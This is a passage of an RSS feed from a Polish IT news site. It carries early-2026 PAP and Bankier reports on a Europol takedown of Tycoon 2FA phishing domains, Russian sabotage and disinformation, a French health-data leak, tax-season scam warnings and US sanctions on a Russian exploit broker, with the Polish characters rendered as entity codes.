
Phishing to jedna z najczand#281;stszych form oszustw internetowych. Polega na podszywaniu siand#281; pod wiarygodne instytucje lub osoby za pomocand#261; wiadomoand#347;ci e-mail, SMS-and#243;w czy rozmand#243;w telefonicznych. Celem przestand#281;pcand#243;w jest wyand#322;udzenie danych lub pieniand#281;dzy.

W ramach skoordynowanej miand#281;dzynarodowej operacji Europolu, Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci wspand#243;lnie z NASK i CERT Polska, uniemoand#380;liwiono cyberprzestand#281;pcom prowadzenie kampanii phisingowych w caand#322;ej Europie - przekazaand#322; na X szef resortu cyfryzacji.

Jak zaznaczyand#322;, dziand#281;ki zaangaand#380;owaniu specjalistand#243;w z NASK i CERT Polska moand#380;liwe byand#322;o dokonanie blokady na 120 polskich domenach powiand#261;zanych z dziaand#322;alnoand#347;ciand#261; phishingowand#261; realizowanand#261; w ramach platformy Tycoon 2FA. To narzand#281;dzie wykorzystywane przez cyberprzestand#281;pcand#243;w do przejmowania kont pocztowych na duand#380;and#261; skaland#281;.
Minister wskazaand#322;, and#380;e za jego pomocand#261; wysyand#322;ano dziesiand#261;tki milionand#243;w wiadomoand#347;ci phishingowych miesiand#281;cznie, co daand#322;o nieautoryzowany dostand#281;p do niemal 100 tys. organizacji na caand#322;ym and#347;wiecie, w tym szkand#243;and#322;, szpitali i instytucji publicznych.
and#160;
- W ramach operacji w caand#322;ej Europie wyand#322;and#261;czono 330 domen stanowiand#261;cych rdzeand#324; infrastruktury przestand#281;pczej usand#322;ugi. To waand#380;ny dzieand#324; w zwalczaniu cyberzagroand#380;eand#324;, bo kaand#380;da operacja zaczyna siand#281; wand#322;aand#347;nie od przejand#281;cia konta pocztowego - dodaand#322;.
MC edukuje, and#380;e jeand#347;li otrzymaliand#347;my podejrzanand#261; wiadomoand#347;and#263;, warto zachowaand#263; spokand#243;j, unikaand#263; podejmowania decyzji pod presjand#261; i dokand#322;adnie weryfikowaand#263; kaand#380;dand#261; nietypowand#261; proand#347;band#281;. Najwaand#380;niejsze jest sprawdzanie wiarygodnoand#347;ci informacji u and#378;rand#243;dand#322;a, unikanie otwierania podejrzanych zaand#322;and#261;cznikand#243;w i podawania swoich danych na stronach, ktand#243;re mogand#261; wzbudzaand#263; wand#261;tpliwoand#347;ci. Dziand#281;ki zachowaniu ostroand#380;noand#347;ci moand#380;na skutecznie zmniejszyand#263; ryzyko oszustwa.
W przypadku podejrzenia, and#380;e padand#322;o siand#281; ofiarand#261; phishingu (uruchomiand#322;o siand#281; podejrzany zaand#322;and#261;cznik lub podaand#322;o swoje dane na faand#322;szywej stronie), naleand#380;y natychmiast zmieniand#263; hasand#322;a do swoich kont. Jeand#347;li zostaand#322;y podane dane dotyczand#261;ce kart albo rachunkand#243;w bankowych, trzeba jak najszybciej skontaktowaand#263; siand#281; z bankiem. Warto takand#380;e uruchomiand#263; uwierzytelnienia dwuskand#322;adnikowe we wszystkich serwisach internetowych, ktand#243;re oferujand#261; takie rozwiand#261;zanie. Incydent moand#380;na zgand#322;osiand#263; do zespoand#322;u CSIRT NASK, a w przypadku podejrzenia przestand#281;pstwa takand#380;e na policjand#281; i do prokuratury. (PAP)
and#378;rodand#322;o PAP 5 marzec 2026 maku/ ktl/ ]]></description>
		</item><item>
			<title><![CDATA[ Polska na pierwszej linii frontu. Wzrastają ataki terrorystyczne Rosji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1622</link>
			<description><![CDATA[ Miand#281;dzynarodowe Centrum Przeciwdziaand#322;ania Terroryzmowi notuje gwaand#322;towny wzrost operacji dywersyjnych Rosji w Europie. Od poczand#261;tku wojny w Ukrainie, rosyjskie sand#322;uand#380;by stojand#261; za co najmniej 151 incydentami - podaje poniedziaand#322;kowa and#8222;Rzeczpospolita".



and#160;


fot. Dariusz Szubinski /and#160;/and#160;FORUM


Najnowszy raport Miand#281;dzynarodowego Centrum ds. Zwalczania Terroryzmu wskazuje, and#380;e od poczand#261;tku wojny w Ukrainie zatrzymano 172 sprawcand#243;w sabotaand#380;u and#8211; czyli o 41 wiand#281;cej niand#380; wykazywaand#322; ubiegand#322;oroczny raport. Spoand#347;rand#243;d tych osand#243;b, aand#380; 95 proc. to tzw. zwykli obywatele bez formalnych powiand#261;zaand#324; z rosyjskimi sand#322;uand#380;bami specjalnymi. Podejmujand#261; siand#281; oni zadaand#324; z powodand#243;w ekonomicznych - czytamy w raporcie analitykand#243;w Juliana Lanchesa i Kacpra Rand#281;kawka.
and#160;
Z ustaleand#324; autorand#243;w raportu wynika, and#380;e Polska pozostaje krajem najbardziej naraand#380;onym na ataki ze strony Rosji, nastand#281;pne sand#261; Francja, Litwa i Niemcy.
Ponad jedna czwarta nowo zidentyfikowanych incydentand#243;w miaand#322;a miejsce w Polsce, ktand#243;ra juand#380; wczeand#347;niej byand#322;a najczand#281;and#347;ciej atakowanym krajem. Raport wskazuje na 31 incydentand#243;w. Znaczny wzrost zaobserwowano rand#243;wnieand#380; we Francji, gdzie zarejestrowano 20 przypadkand#243;w, za nimi sand#261; Litwa i Niemcy po 15 incydentand#243;w, nastand#281;pnie Wielka Brytania and#8211; 12, Estonia and#8211; 11.
and#8222;Co ciekawe, stosunkowo niewiele aktand#243;w terroryzmu paand#324;stwowego ze strony Rosji ma miejsce w krajach skandynawskich, ktand#243;re rand#243;wnieand#380; udzielajand#261; Ukrainie znacznego wsparciaand#8221; and#8211; wskazujand#261; w and#8222;Rz" Julian Lanches i Kacper Rand#281;kawek.
and#160;
and#8222;Incydenty sand#261; czand#281;sto zwiand#261;zane ze wspieranymi przez Rosjand#281;, kanaand#322;ami Telegram. Podszywajand#261;c siand#281; pod prawicowych ekstremistand#243;w, kanaand#322;y te zachand#281;caand#322;y np. mieszkaand#324;cand#243;w Wielkiej Brytanii do przeprowadzania brutalnych atakand#243;w na meczety i muzuand#322;manand#243;w, a takand#380;e do podpalania radiowozand#243;w w zamian za kryptowalutand#281; lub 2 500 funtand#243;w za podpalenie brytyjskiego radiowozu i 100 funtand#243;w za filmy z aktami wandalizmu w meczetach. Te same kanaand#322;y rozpowszechniaand#322;y rand#243;wnieand#380; pliki PDF zawierajand#261;ce instrukcje dotyczand#261;ce konstruowania bomb i projekty broni drukowanej w technologii 3Dand#8221; and#8211; zwracajand#261; uwagand#281; w and#8222;Rz" Lanches i Rand#281;kawek.
Wand#347;rand#243;d sprawcand#243;w dominujand#261; osoby wywodzand#261;ce siand#281; z paand#324;stw dawnego ZSRR. Osobnand#261; grupand#261; sand#261; osoby zwiand#261;zanie z grupami pseudokibicand#243;w oraz and#347;rodowiskami skrajnie prawicowymi. Ponad jedna trzecia sprawcand#243;w uwzgland#281;dnionych w raporcie, miaand#322;a wczeand#347;niej przeszand#322;oand#347;and#263; kryminalnand#261;, a na swoim koncie od drobnych przestand#281;pstw po powaand#380;ne, w tym zaband#243;jstwa. Okazuje siand#281;, and#380;e wiand#281;zienia w Rosji staand#322;y siand#281; waand#380;nym miejscem rekrutacji sabotaand#380;ystand#243;w and#8211; informuje and#8222;Rz".
and#8222;Nowym trendem jest rosnand#261;cy udziaand#322; Kolumbijczykand#243;w w rosyjskich dziaand#322;aniach sabotaand#380;owych, szczegand#243;lnie w Europie and#346;rodkowo-Wschodniej i krajach baand#322;tyckich. Choand#263; przyczyny tego trendu nie sand#261; jeszcze do koand#324;ca jasne, koreluje on ze wzrastajand#261;cand#261; obecnoand#347;ciand#261; Kolumbijczykand#243;w na polu bitwy na Ukrainie, zarand#243;wno po stronie ukraiand#324;skiej, jak i rosyjskiejand#8221; and#8211; czytamy w raporcie przedstawionym w and#8222;Rz". (PAP)
and#160;
and#378;rodand#322;o PAP 2 marzec 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Zimna wojna w naszych umysłach. Ekspert: Smartfonem zmieniają poglądy całych narodów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1621</link>
			<description><![CDATA[ and#160;



Rosja, zdajand#261;c sobie sprawand#281; z militarnej i ekonomicznej przewagi NATO, rozwinand#281;and#322;a wyrafinowane strategie walki hybrydowej, wand#322;and#261;czajand#261;c dezinformacjand#281; i manipulacjand#281; and#8211; powiedziaand#322; PAP dr hab. Wojciech Kotowicz z UWM w Olsztynie. Konflikt miand#281;dzy Rosjand#261; a Zachodem toczy siand#281; w przestrzeni informacyjnej i kognitywnej - dodaand#322;.



and#160;


fot. Billion Photos /and#160;/and#160;Shutterstock


Ekspert z Instytutu Nauk Politycznych na Wydziale Nauk Spoand#322;ecznych Uniwersytetu Warmiand#324;sko-Mazurskiego uwaand#380;a, and#380;e informacja we wspand#243;and#322;czesnej doktrynie rosyjskiej and#8222;jest traktowana jako broand#324; o zasiand#281;gu strategicznymand#8221;.
"Bezpieczeand#324;stwo informacyjne Warszawy jest systemem naczyand#324; poand#322;and#261;czonych ze stabilnoand#347;ciand#261; naszych wschodnich partnerand#243;w. Jeand#347;li pozwolimy na triumf dezinformacji w Moand#322;dawii, Polska stanie siand#281; kolejnym, bezpoand#347;rednim celem jeszcze bardziej agresywnych kampanii informacyjnych" and#8211; uznaand#322; ekspert w komentarzu dla PAP.
and#160;
W ubiegand#322;ym roku badacze z Instytutu Nauk Politycznych UWM zrealizowali projekt pt. and#8222;Wpand#322;yw rosyjskiej dezinformacji na ksztaand#322;towanie opinii publicznej w krajach Europy Wschodniej - analiza i strategie przeciwdziaand#322;aniaand#8221;. Celem byand#322;o zbadanie mechanizmand#243;w rosyjskiej dezinformacji jako narzand#281;dzia hybrydowego w Moand#322;dawii i Gruzji oraz wypracowanie konkretnych strategii przeciwdziaand#322;ania tym zagroand#380;eniom.
Systematyczne niszczenie zaufania do demokracji
Wedand#322;ug Wojciecha Kotowicza mamy obecnie do czynienia z and#8222;nowand#261; zimnand#261; wojnand#261;, ktand#243;ra toczy siand#281; nie tylko w powietrzu, ale takand#380;e w naszych umysand#322;ach i w sieciand#8221;.

Kiedy mand#243;wimy o nowej zimnej wojnie, mam na myand#347;li fundamentalnand#261; zmianand#281; w charakterze wspand#243;and#322;czesnych konfliktand#243;w geopolitycznych. W przeciwieand#324;stwie do klasycznej zimnej wojny z XX w., ktand#243;ra koncentrowaand#322;a siand#281; na wyand#347;cigu zbrojeand#324;, rywalizacji ideologicznej i konfrontacji w przestrzeni fizycznej,and#160;dzisiejszy konflikt miand#281;dzy Rosjand#261; a Zachodem toczy siand#281; przede wszystkim w przestrzeni informacyjnej i kognitywnejand#160;- wyjaand#347;niand#322; ekspert.

Jak mand#243;wiand#322;, Rosja - zdajand#261;c sobie sprawand#281; z militarnej i ekonomicznej przewagi NATO - rozwinand#281;and#322;a wyrafinowane strategie walki hybrydowej, w ktand#243;rych dezinformacja i manipulacja informacjand#261; stanowiand#261; waand#380;ne narzand#281;dzia.and#160;To wojna, ktand#243;ra nie wymaga czoand#322;gand#243;w ani samolotand#243;w. Aby osiand#261;gnand#261;and#263; strategiczne cele, wystarczy smartfon, konto w mediach spoand#322;ecznoand#347;ciowych i dobrze skonstruowana narracja. Podczas naszych badaand#324; w Moand#322;dawii i Gruzji w 2025 r. obserwowaliand#347;my to zjawisko w praktyce - opisaand#322; badacz.
Emocjonalizacja przekazu, czyli jak wykorzystaand#263; strach
W Kiszyniowie - relacjonowaand#322; - podczas wywiadu z lokalnym dziennikarzem prowadzand#261;cy badania usand#322;yszeli historiand#281; o tym, jak rosyjska dezinformacja dosand#322;ownie zmieniand#322;a pogland#261;dy polityczne caand#322;ych spoand#322;ecznoand#347;ci w ciand#261;gu zaledwie kilku miesiand#281;cy.
- Starsze osoby, ktand#243;re przez lata popieraand#322;y integracjand#281; europejskand#261;, nagle zaczand#281;and#322;y wierzyand#263;, and#380;e Unia Europejska chce rzekomo zniszczyand#263; ich tradycyjne wartoand#347;ci i odebraand#263; im ziemiand#281;. To nie byand#322;o dzieand#322;em przypadku, to byand#322; rezultat systematycznej, wielomiesiand#281;cznej kampanii w mediach spoand#322;ecznoand#347;ciowych, w rosyjskojand#281;zycznej telewizji i poprzez influencerand#243;w, ktand#243;rzy prezentowali siand#281; jako niezaleand#380;ni komentatorzy, a w rzeczywistoand#347;ci byli czand#281;and#347;ciand#261; skoordynowanej sieci finansowanej z Moskwy - opisaand#322;.

Wojna w naszych umysand#322;ach oznacza, and#380;eand#160;polem bitwy staje siand#281; nasza percepcja rzeczywistoand#347;ci, nasze przekonania, nasze zaufanie do instytucji demokratycznych. Rosja nie musi fizycznie podbijaand#263; krajand#243;w Europy Wschodniej, jeand#347;li moand#380;e sprawiand#263;, and#380;e ich obywatele sami odwrand#243;cand#261; siand#281; od Zachodu i demokracji - zwrand#243;ciand#322; uwagand#281;.

Wpand#322;ywy rosyjskiej dezinformacji - jak relacjonowaand#322; - byand#322;y szczegand#243;lnie widoczne w czasie kampanii referendalnej dotyczand#261;cej integracji europejskiej w Moand#322;dawii.
- Mimo and#380;e referendum ostatecznie zakoand#324;czyand#322;o siand#281; zwyciand#281;stwem opcji proeuropejskiej, byand#322;o to zwyciand#281;stwo minimalne, osiand#261;gniand#281;te w obliczu bezprecedensowej kampanii dezinformacyjnej i kupowania gand#322;osand#243;w. Eksperci, z ktand#243;rymi rozmawialiand#347;my, szacowali, and#380;e bez rosyjskiej ingerencji poparcie dla integracji europejskiej byand#322;oby znacznie wyand#380;sze - mand#243;wiand#322; badacz.
Wirusowoand#347;and#263; algorytmand#243;w
Wojna w sieci to rand#243;wnieand#380; wykorzystanie infrastruktury cyfrowej jako pola walki. -and#160;Media spoand#322;ecznoand#347;ciowe, ktand#243;re miaand#322;y byand#263; narzand#281;dziem demokratyzacji i wolnoand#347;ci sand#322;owa, staand#322;y siand#281; broniand#261; w rand#281;kach autorytarnych reand#380;imand#243;w. Algorytmy platform takich jak Facebook, X czy TikTok, zaprojektowane do maksymalizacji zaangaand#380;owania uand#380;ytkownikand#243;w, nieand#347;wiadomie sprzyjajand#261; rozprzestrzenianiu siand#281; dezinformacji, poniewaand#380; treand#347;ci kontrowersyjne i emocjonalne generujand#261; wiand#281;cej interakcji niand#380; rzetelne informacje - opisaand#322; dr hab. Kotowicz.
Jego zdaniem Rosja doskonale to rozumie i wykorzystuje. - Potwierdzeniem tego jest fakt, and#380;e w 2026 roku rand#243;wnieand#380; obserwujemy nowand#261; faland#281; rosyjskiej dezinformacji zwiand#261;zanand#261; z kryzysem energetycznym w Europie, gdzie skoordynowane kampanie w mediach spoand#322;ecznoand#347;ciowych sugerujand#261;, and#380;e sankcje wobec Rosji szkodzand#261; bardziej Europie niand#380; Rosji i and#380;e europejscy przywand#243;dcy celowo doprowadzajand#261; do zuboand#380;enia wand#322;asnych spoand#322;eczeand#324;stw. Te narracje, choand#263; and#322;atwe do obalenia faktami, rozprzestrzeniajand#261; siand#281; wirusowo, docierajand#261;c do milionand#243;w uand#380;ytkownikand#243;w - zaznaczyand#322;.
and#160;
W jego ocenie powinniand#347;my byand#263; gotowi na to, and#380;e rosyjska dezinformacja band#281;dzie siand#281; intensyfikowaand#263; i ewoluowaand#263;, wykorzystujand#261;c coraz bardziej zaawansowane technologie i dostosowujand#261;c siand#281; do naszych mechanizmand#243;w obronnych.
and#378;rand#243;dand#322;o Anna Mikoand#322;ajczyk-Kand#322;and#281;bek (PAP) 1 marzec 2026and#160;





and#160;





and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gigantyczny wyciek danych 15 mln Francuzów. Dane pacjentów i polityków trafiły do darknetu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1620</link>
			<description><![CDATA[ Francuskie ministerstwo zdrowia poinformowaand#322;o w piand#261;tek, and#380;e podczas cyberataku, do ktand#243;rego doszand#322;o pod koniec 2025 roku, wyciekand#322;y dane 15 mln obywateli. Chodzi o dane - gand#322;and#243;wnie informacje kontaktowe - pacjentand#243;w lekarzy uand#380;ywajand#261;cych oprogramowania firmy Cegedim Sante.



and#160;


fot. Max Acronym /and#160;/and#160;Shutterstock


Podczas cyberataku wyciekand#322;y gand#322;and#243;wnie imiona, nazwiska i telefony pacjentand#243;w, a w niektand#243;rych przypadkach - ich adresy. W przypadku 169 tys. osand#243;b wyciekand#322;y teand#380; notatki lekarzy, niekiedy zawierajand#261;ce dane wraand#380;liwe. Nienaruszone pozostaand#322;y takie dokumenty jak recepty i wyniki badaand#324;.
Cyberataku dokonaand#322; pod koniec 2025 roku sprawca, ktand#243;rego toand#380;samoand#347;ci i obywatelstwa nie ujawniono. Telewizja France 2 ostrzegand#322;a, and#380;e dane pochodzand#261;ce z wycieku sand#261; wciand#261;and#380; dostand#281;pne w darknecie i and#380;e chodzi rand#243;wnieand#380; o informacje dotyczand#261;ce politykand#243;w.
Ministerstwo zdrowia przekazaand#322;o, and#380;e zobowiand#261;zaand#322;o Cegedim Sante do wdroand#380;enia zmian po cyberataku, by zapobiec wszelkim nowym wyciekom danych.(PAP)
and#160;
and#378;rodand#322;o (PAP) 27 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Rozliczasz PIT? Uważaj na oszustów. Oto ich metody ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1619</link>
			<description><![CDATA[ Ruszyand#322;a machina rozliczeand#324; PIT za ubiegand#322;y rok. Wraz z niand#261; uaktywnili siand#281; przestand#281;pcy czyhajand#261;cy na nasze pieniand#261;dze. Aby zwiand#281;kszyand#263; swojand#261; skutecznoand#347;and#263;, korzystajand#261; z wielu metod, m.in. reklamujand#261; siand#281; jako doradcy, dzwoniand#261;, wysyand#322;ajand#261; maile. Warto zachowaand#263; szczegand#243;lnand#261; ostroand#380;noand#347;and#263;, inaczej moand#380;na straciand#263; pieniand#261;dze. Na co trzeba uwaand#380;aand#263;?



and#160;


fot. Fotogrin /and#160;/and#160;Shutterstock



Podatnicy juand#380; mogand#261; rozliczaand#263; PIT za ubiegand#322;y rok. Wypeand#322;nione zeznania podatkowe powinni zand#322;oand#380;yand#263; do koand#324;ca kwietnia. Warto pamiand#281;taand#263; o tym, and#380;e czas rozliczeand#324; PIT toand#160;peand#322;nia sezonu dla internetowych zand#322;odziei,and#160;ktand#243;rzy majand#261; na celowniku nasze pieniand#261;dze. Aby siand#281; do nich dobraand#263;, wymyand#347;lajand#261; coraz bardziej perfidne metody oszustw.
Jak rozpoznaand#263; cyfrowe puand#322;apki?
Wraz z rozwojem technologii cyberprzestand#281;pcy zyskujand#261; narzand#281;dzia pozwalajand#261;ce tworzyand#263;and#160;coraz bardziej wiarygodne i dopracowane kampanie,and#160;w ktand#243;rych faand#322;szywe wiadomoand#347;ci niemal nie rand#243;and#380;niand#261; siand#281; od tych oficjalnych. Wystarczy chwila nieuwagi lub nieostroand#380;noand#347;ci przy odczytywaniu wiadomoand#347;ci and#8211; iand#160;podatnik moand#380;e straciand#263; oszczand#281;dnoand#347;ciand#160;lub zwrot podatku. Dlatego warto wiedzieand#263;, jak rozpoznawaand#263; cyfrowe puand#322;apki.
and#160;
Cyberprzestand#281;pcy czand#281;sto dziaand#322;ajand#261; wedand#322;ug utartych schematand#243;w, jednak w okresie rozliczeand#324; PIT ich metody stajand#261; siand#281; bardziej wyrafinowane. I tak np. mogand#261;and#160;podszywaand#263; siand#281; pod urzand#281;dnikand#243;w skarbowych,and#160;korzystajand#261;c z oficjalnych logotypand#243;w lub manipulowaand#263; numerami telefonand#243;w (tand#281; metodand#281; okreand#347;la siand#281; jakoand#160;spoofing), aby na ekranie telefonu uand#380;ytkownika wyand#347;wietliand#322;a siand#281; nazwa instytucji, z ktand#243;rej usand#322;ug korzysta. Pomaga im w tym rand#243;wnieand#380;and#160;sztuczna inteligencja.

and#8211; Dziand#281;ki AI bariera jand#281;zykowa czy band#322;and#281;dy ortograficzne, ktand#243;re dawniej demaskowaand#322;y oszustand#243;w, niemal zniknand#281;and#322;y. Dzisiejsze wiadomoand#347;ci phishingowe sand#261; pisane nienagannand#261; polszczyznand#261;, a ich ton idealnie naand#347;laduje urzand#281;dowy styl, co moand#380;e uand#347;piand#263; czujnoand#347;and#263; nawet doand#347;wiadczonych uand#380;ytkownikand#243;w sieci - mand#243;wi Beniamin Szczepankiewicz, analityk cyberzagroand#380;eand#324; z ESET.

Sposoby dziaand#322;ania przestand#281;pcand#243;w
Wiele dziaand#322;aand#324; oszustand#243;w opiera siand#281; naand#160;prand#243;bie wywoand#322;ania w odbiorcy silnych emocji,and#160;a wiand#281;c np. strachu przed karand#261; lub radoand#347;ci z obiecanych pieniand#281;dzy. Aby byand#263; odpornym na takie manipulacje, warto znaand#263; sposoby i dziaand#322;ania, ktand#243;re od powinny zapaliand#263; w naszej gand#322;owie czerwonand#261; lampkand#281;. Oto najpopularniejsze sygnaand#322;y, ktand#243;re mogand#261; and#347;wiadczyand#263; o tym, and#380;e wand#322;aand#347;nie staand#322;eand#347; siand#281; celem ataku:
and#160;

Niespodziewany SMS lub e-mail od fiskusa:and#160;pamiand#281;taj, and#380;e urzand#261;d skarbowy nie wysyand#322;a linkand#243;w do formularzy rozliczeniowych w wiadomoand#347;ciach SMS ani nie prosi o logowanie do e-Urzand#281;du Skarbowego poprzez link w mailu.
Presja czasu i groand#378;ba kar:and#160;oszuand#347;ci mogand#261; straszyand#263; natychmiastowand#261; kontroland#261; lub karami finansowymi, jeand#347;li nie and#8222;skorygujesz band#322;and#281;duand#8221; w ciand#261;gu kilku godzin. Oficjalna korespondencja w takich sprawach zawsze trafia do obywatela tradycyjnand#261; pocztand#261; lub poprzez zweryfikowanand#261; skrzynkand#281; w portalu e-Urzand#261;d Skarbowy/mObywatel.
Pand#322;atnoand#347;ci przez nietypowe kanaand#322;y:and#160;jeand#347;li otrzymasz proand#347;band#281; o dopand#322;atand#281; niewielkiej kwoty (np. and#8222;brakuje 1,50 zand#322; do peand#322;nego rozliczeniaand#8221;) poprzez nieznany system pand#322;atnoand#347;ci lub kryptowaluty and#8211; to niemal na pewno prand#243;ba wyand#322;udzenia danych do twojego banku.
Proand#347;ba o dane logowania lub numer karty:and#160;Ministerstwo Finansand#243;w nigdy nie prosi o podanie haseand#322; do bankowoand#347;ci ani numerand#243;w kart pand#322;atniczych w celu wypand#322;aty nadpand#322;aty podatku.

Kontakt i atak z wielu stronand#160;
Oszuand#347;ci dziaand#322;ajand#261; na wiele sposoband#243;w. Korzystajand#261; z wszelkich dostand#281;pnych kanaand#322;and#243;w komunikacji and#8211; od wiadomoand#347;ci tekstowych, przez e-maile, aand#380; po poand#322;and#261;czenia telefoniczne.

Wiadomoand#347;ci pod szyldem administracji publicznej:and#160;uand#380;ytkownicy mogand#261; otrzymywaand#263; e-maile lub SMS-y, ktand#243;re podszywajand#261; siand#281; pod oficjalne organy, takie jak Ministerstwo Finansand#243;w czy Krajowa Administracja Skarbowa. Czand#281;stym motywem jest informacja o rzekomej nadpand#322;acie, koniecznoand#347;ci weryfikacji danych lub pilnej dopand#322;acie do rozliczenia.
Faand#322;szywe zaand#322;and#261;czniki i zand#322;oand#347;liwe oprogramowanie:and#160;niektand#243;re kampanie phishingowe opierajand#261; siand#281; na przesyand#322;aniu dokumentand#243;w, ktand#243;re majand#261; udawaand#263; np. potwierdzenie wysand#322;ania deklaracji (UPO) czy formularz korekty. W rzeczywistoand#347;ci otwarcie takiego pliku moand#380;e prowadziand#263; do instalacji zand#322;oand#347;liwego oprogramowania na urzand#261;dzeniu.
Prand#243;by kontaktu telefonicznego (vishing):and#160;moand#380;e dojand#347;and#263; rand#243;wnieand#380; do prand#243;b wyand#322;udzenia danych przez telefon. Osoba podajand#261;ca siand#281; za urzand#281;dnika lub doradcand#281; podatkowego moand#380;e prand#243;bowaand#263; uzyskaand#263; wraand#380;liwe informacje pod pretekstem and#8222;wyjaand#347;nienia band#322;and#281;dand#243;wand#8221; w deklaracji.


and#8211; Niezaleand#380;nie od wybranej metody, cel oszustand#243;w pozostaje podobny: skand#322;onienie nas do podania danych logowania do bankowoand#347;ci elektronicznej, numerand#243;w kart pand#322;atniczych lub przekazania peand#322;nych danych osobowych. Te ostatnie mogand#261; posand#322;uand#380;yand#263; przestand#281;pcom np. do kradzieand#380;y toand#380;samoand#347;ci and#8211; dodaje Beniamin Szczepankiewicz.

Uwaga na and#8222;rekordowy zwrot podatkuand#8221;
Internauci powinni zachowaand#263; ostroand#380;noand#347;and#263; takand#380;e podczasand#160;przegland#261;dania social mediand#243;w.and#160;Tamand#160;coraz czand#281;and#347;ciej moand#380;na spotkaand#263; rzekome and#8222;ukryte trikiand#8221; na rekordowo wysoki zwrot podatku. Tacy "doradcy" obiecujand#261;c wsparcie w uzyskaniu nienaleand#380;nych odliczeand#324;, czand#281;sto chcand#261; wyand#322;udziand#263; opand#322;aty za przygotowanie fikcyjnej dokumentacji lub zdobyand#263; nasze peand#322;ne dane osobowe.
Z uwaand#380;noand#347;ciand#261; naleand#380;y podchodziand#263; rand#243;wnieand#380; doand#160;nieznanych poand#347;rednikand#243;w,and#160;ktand#243;rzy sugerujand#261; wpisanie ich numeru konta w deklaracji zamiast rachunku naleand#380;and#261;cego do podatnika. Warto mieand#263; and#347;wiadomoand#347;and#263;, and#380;e powierzenie wraand#380;liwych informacji finansowych przypadkowej osobie z sieci niesie za soband#261;and#160;olbrzymie ryzyko kradzieand#380;y toand#380;samoand#347;ci.and#160;
Sprawdand#378;, komu przekazujesz 1,5% podatku
W gorand#261;cym czasie skand#322;adania zeznaand#324; podatkowych oszuand#347;ci polujand#261; rand#243;wnieand#380; na okazje, byand#160;przejand#261;and#263; and#347;rodki,and#160;ktand#243;re zamierzamy jako podatnicy chcemy przekazaand#263; na cele charytatywne. Jak dziaand#322;ajand#261; oszuand#347;ci? Niektand#243;rzy tworzand#261; faand#322;szywe strony internetowe, inni rozsyand#322;ajand#261; linki do zainfekowanych programand#243;w, ktand#243;re wygland#261;dajand#261; niemal identycznie jak znane i cieszand#261;ce siand#281; popularnoand#347;ciand#261; narzand#281;dzia do rozliczania PIT. Rand#243;and#380;nymi sposobami chcand#261; nakand#322;oniand#263; podatnika, by ten skorzystaand#322; z faand#322;szywej, podstawionej aplikacji, w ktand#243;rejand#160;numer KRS jest kontrolowany przez oszustand#243;w.
and#160;
Jeand#347;li chcesz byand#263; pewien, and#380;e twoje 1,5% podatku trafi do prawdziwej, a nie wykreowanej przez oszustand#243;w organizacji poand#380;ytku publicznego, korzystaj z oficjalnego portalu e-Urzand#261;d Skarbowy lub oprogramowania pobranego bezpoand#347;rednio zand#160;zaufanych stron sprawdzonych organizacji.
Co zrobiand#263;, gdy podejrzewasz oszustwo?
Jeand#347;li otrzymasz podejrzanand#261; wiadomoand#347;and#263;, w pierwszej kolejnoand#347;ciand#160;zachowaj spokand#243;jand#160;i natychmiast przerwij kontakt. Pamiand#281;taj o tym, abyand#160;nie klikaand#263;and#160;w podane linki.and#160;Absolutnie nie podawaj and#380;adnychand#160;kodand#243;w autoryzacyjnych, jeand#347;li jesteand#347; o to proszony przez telefon.and#160;

and#8211; Cyberprzestand#281;pcy bazujand#261; na wywoand#322;ywaniu emocji, dlatego najlepszand#261; obronand#261; jest chand#322;odna ocena sytuacji i weryfikacja kaand#380;dego komunikatu u and#378;rand#243;dand#322;a. Pamiand#281;tajmy, and#380;e instytucje paand#324;stwowe nie proszand#261; o dane logowania ani numery kart pand#322;atniczych w wiadomoand#347;ciach e-mail czy SMS and#8211; podkreand#347;la Beniamin Szczepankiewicz.


and#378;rodand#322;o Bankier.pl 24 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Skandal szpiegowski. Rosjanin wykradł amerykańskie cyberbronie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1618</link>
			<description><![CDATA[ Amerykaand#324;ski resort finansand#243;w naand#322;oand#380;yand#322; we wtorek sankcje na obywatela Rosji Siergieja Zielieniukowa, skupujand#261;cego zachodnie cybernarzand#281;dzia i sprzedajand#261;cego je sand#322;uand#380;bom wywiadowczym spoza NATO. Zielieniuk nabyand#322; m.in. wykradzione oprogramowanie hakerskie tworzone na potrzeby amerykaand#324;skich wand#322;adz.



and#160;


fot. trambler58 /and#160;/and#160;Shutterstock


Jak ogand#322;osiand#322;o w komunikacie ministerstwo,and#160;nowe sankcje obejmujand#261; samego Rosjanina, jak i jego petersburskand#261; firmand#281; Operacja Zero oraz jego wspand#243;lnikand#243;w i ich firmy z Rosji i Zjednoczonych Emiratand#243;w Arabskich.and#160;Bezpoand#347;rednim powodem sankcji byand#322; zakup przez Zielieniukowa wykradzionych narzand#281;dzi hakerskich tworzonych przez firmand#281; Trenchant na zlecenie wand#322;adz USA.
and#160;
Narzand#281;dzia te, ktand#243;re miaand#322;y potencjalnie umoand#380;liwiand#263; and#8222;dostand#281;p do milionand#243;w komputerand#243;w i urzand#261;dzeand#324; na caand#322;ym and#347;wiecieand#8221;, zostaand#322;y sprzedane Rosjaninowi przez samego and#243;wczesnego szefa firmy, Australijczyka Petera Williamsa, ktand#243;ry przyznaand#322; siand#281; do winy przed sand#261;dem w ubiegand#322;ym roku.

and#8222;Jeand#347;li kradniesz amerykaand#324;skie tajemnice handlowe, pociand#261;gniemy ciand#281; do odpowiedzialnoand#347;ciand#8221; and#8211; powiedziaand#322; w oand#347;wiadczeniu minister finansand#243;w Scott Bessent.

Zielieniuk i jego firma od lat oferujand#261; wielomilionowe nagrody osobom, ktand#243;re przekazujand#261; im narzand#281;dzia i podatnoand#347;ci, umoand#380;liwiajand#261;ce wand#322;amanie siand#281; do popularnych amerykaand#324;skich programand#243;w, aplikacji i systemand#243;w operacyjnych. Wedand#322;ug portalu TechCrunch, Trenchant pracowaand#322; nad podatnoand#347;ciami przegland#261;darki Google Chrome i systemu iOS.
